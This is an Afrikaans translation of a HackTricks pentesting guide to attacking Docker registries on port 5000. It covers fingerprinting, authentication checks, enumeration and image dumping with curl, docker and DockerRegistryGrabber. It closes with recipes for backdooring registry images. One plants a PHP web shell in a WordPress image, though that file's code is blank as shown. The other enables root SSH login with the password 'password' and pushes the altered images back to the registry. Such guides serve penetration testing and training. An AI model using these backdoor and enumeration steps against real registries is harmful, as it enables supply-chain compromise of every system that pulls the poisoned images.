# 5000 - Pentesting Docker Register
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## Basiese Inligting 'n Berging- en verspreidingsisteem bekend as 'n **Docker-register** is in plek vir Docker-beelde wat benoem is en in verskillende weergawes kan voorkom, onderskei deur etikette. Hierdie beelde is georganiseer binne **Docker-opgaarplekke** in die register, elke opgaarplek stoor verskillende weergawes van 'n spesifieke beeld. Die funksionaliteit wat verskaf word, maak dit moontlik om beelde lokaal af te laai of na die register te laai, mits die gebruiker die nodige toestemmings het. **DockerHub** dien as die verstek openbare register vir Docker, maar gebruikers het ook die opsie om 'n plaaslike weergawe van die oopbron Docker-register/verspreiding te bedryf of te kies vir die kommersieel ondersteunde **Docker Trusted Registry**. Daarbenewens kan verskeie ander openbare registerplekke aanlyn gevind word. Om 'n beeld van 'n plaaslike register af te laai, word die volgende opdrag gebruik: ```bash docker pull my-registry:9000/foo/bar:2.1 ``` Hierdie bevel haal die `foo/bar` beeld weergawe `2.1` van die aan-premises register by die `my-registry` domein op poort `9000`. Om dieselfde beeld van DockerHub af te laai, veral as `2.1` die nuutste weergawe is, vereenvoudig die bevel na: ```bash docker pull foo/bar ``` **Verstekpoort:** 5000 ``` PORT STATE SERVICE VERSION 5000/tcp open http Docker Registry (API: 2.0) ``` ## Ontdekking Die maklikste manier om hierdie diens te ontdek wat loop, is om dit op die uitset van nmap te kry. Hoe dan ook, let daarop dat dit 'n HTTP-gebaseerde diens kan wees wat agter HTTP-proksi's is en nmap sal dit nie opspoor nie.\ Sommige vingerafdrukke: * As jy `/` toegang gee, word niks in die respons teruggegee nie * As jy `/v2/` toegang gee, word `{}` teruggegee * As jy `/v2/_catalog` toegang gee, kan jy kry: * `{"repositories":["alpine","ubuntu"]}` * `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}` ## Opname ### HTTP/HTTPS Docker-register kan gekonfigureer word om **HTTP** of **HTTPS** te gebruik. Die eerste ding wat jy moet doen, is dus **uitvind watter een** gekonfigureer word: ```bash curl -s http://10.10.10.10:5000/v2/_catalog #If HTTPS Warning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning: " to save to a file. #If HTTP {"repositories":["alpine","ubuntu"]} ``` ### Verifikasie Docker-register kan ook ingestel word om **verifikasie** te vereis: ```bash curl -k https://192.25.197.3:5000/v2/_catalog #If Authentication required {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]} #If no authentication required {"repositories":["alpine","ubuntu"]} ``` As die Docker Register verifikasie vereis, kan jy probeer om dit te kragtig deur dit te [brute force](../generic-methodologies-and-resources/brute-force.md#docker-registry).\ **As jy geldige geloofsbriewe vind, sal jy dit moet gebruik** om die register op te som, in `curl` kan jy dit so gebruik: ```bash curl -k -u username:password https://10.10.10.10:5000/v2/_catalog ``` ### Enumerasie met behulp van DockerRegistryGrabber [DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) is 'n Python-hulpmiddel om 'n Docker-registreering te enumereer / dump (sonder of met basiese outentifikasie). ```bash python3 DockerGraber.py http://127.0.0.1 --list [+] my-ubuntu [+] my-ubuntu2 python3 DockerGraber.py http://127.0.0.1 --dump_all [+] my-ubuntu [+] my-ubuntu2 [+] blobSum found 5 [+] Dumping my-ubuntu [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 [+] blobSum found 5 [+] Dumping my-ubuntu2 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu [+] blobSum found 5 [+] Dumping my-ubuntu [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 ``` ### Enumerasie met behulp van curl Sodra jy toegang tot die Docker-register verkry het, is hier 'n paar opdragte wat jy kan gebruik om dit te enumereer: ```bash #List repositories curl -s http://10.10.10.10:5000/v2/_catalog {"repositories":["alpine","ubuntu"]} #Get tags of a repository curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list {"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]} #Get manifests curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest { "schemaVersion": 1, "name": "ubuntu", "tag": "latest", "architecture": "amd64", "fsLayers": [ { "blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935" }, { "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4" }, { "blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10" } ], "history": [ { "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}" }, { "v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}" }, { "v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}" } ], "signatures": [ { "header": { "jwk": { "crv": "P-256", "kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX", "kty": "EC", "x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg", "y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg" }, "alg": "ES256" }, "signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q", "protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ" } ] } #Download one of the previously listed blobs curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar #Inspect the insides of each blob tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory ``` {% hint style="warning" %} Let daarop dat wanneer jy die blobs lêers aflaai en dekomprimeer, sal lêers en vouers in die huidige gids verskyn. **As jy al die blobs aflaai en hulle in dieselfde vouer dekomprimeer, sal waardes van vorige gedekomprimeerde blobs oorskryf word**, so wees versigtig. Dit mag interessant wees om elke blob binne 'n ander vouer te dekomprimeer om die presiese inhoud van elke blob te ondersoek. {% endhint %} ### Enumerasie met behulp van Docker ```bash #Once you know which images the server is saving (/v2/_catalog) you can pull them docker pull 10.10.10.10:5000/ubuntu #Check the commands used to create the layers of the image docker history 10.10.10.10:5000/ubuntu #IMAGE CREATED CREATED BY SIZE COMMENT #ed05bef01522 2 years ago ./run.sh 46.8MB # 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B # 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B # 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B # 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB #Run and get a shell docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running docker ps #Using a different shell docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container ``` ### Backdooring WordPress-beeld In die scenario waar jy 'n Docker Registry gevind het wat 'n WordPress-beeld stoor, kan jy dit agterdeur gee. **Skep** die **agterdeur**: {% code title="shell.php" %} ```bash ``` {% endcode %} Skep 'n **Dockerfile**: {% code title="Dockerfile" %} ```bash FROM 10.10.10.10:5000/wordpress COPY shell.php /app/ RUN chmod 777 /app/shell.php ``` {% endcode %} **Skep** die nuwe prent, **kontroleer** of dit geskep is, en **stoot** dit: ```bash docker build -t 10.10.10.10:5000/wordpress . #Create docker images docker push registry:5000/wordpress #Push it ``` ### Agterdeur SSH-bedienerbeeld Stel dat jy 'n Docker Registry met 'n SSH-beeld gevind het en jy wil dit agterdeur.\ **Laai** die beeld af en **voer** dit uit: ```bash docker pull 10.10.10.10:5000/sshd-docker-cli docker run -d 10.10.10.10:5000/sshd-docker-cli ``` Haal die `sshd_config` lêer uit die SSH prent: ```bash docker cp 4c989242c714:/etc/ssh/sshd_config . ``` En wysig dit om `PermitRootLogin yes` in te stel. Skep 'n **Dockerfile** soos die volgende: {% tabs %} {% tab title="Dockerfile" %} ```bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd_config /etc/ssh/ RUN echo root:password | chpasswd ``` {% endtab %} {% endtabs %} **Skep** die nuwe prent, **kontroleer** of dit geskep is, en **stoot** dit: ```bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it ``` ## Verwysings * [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.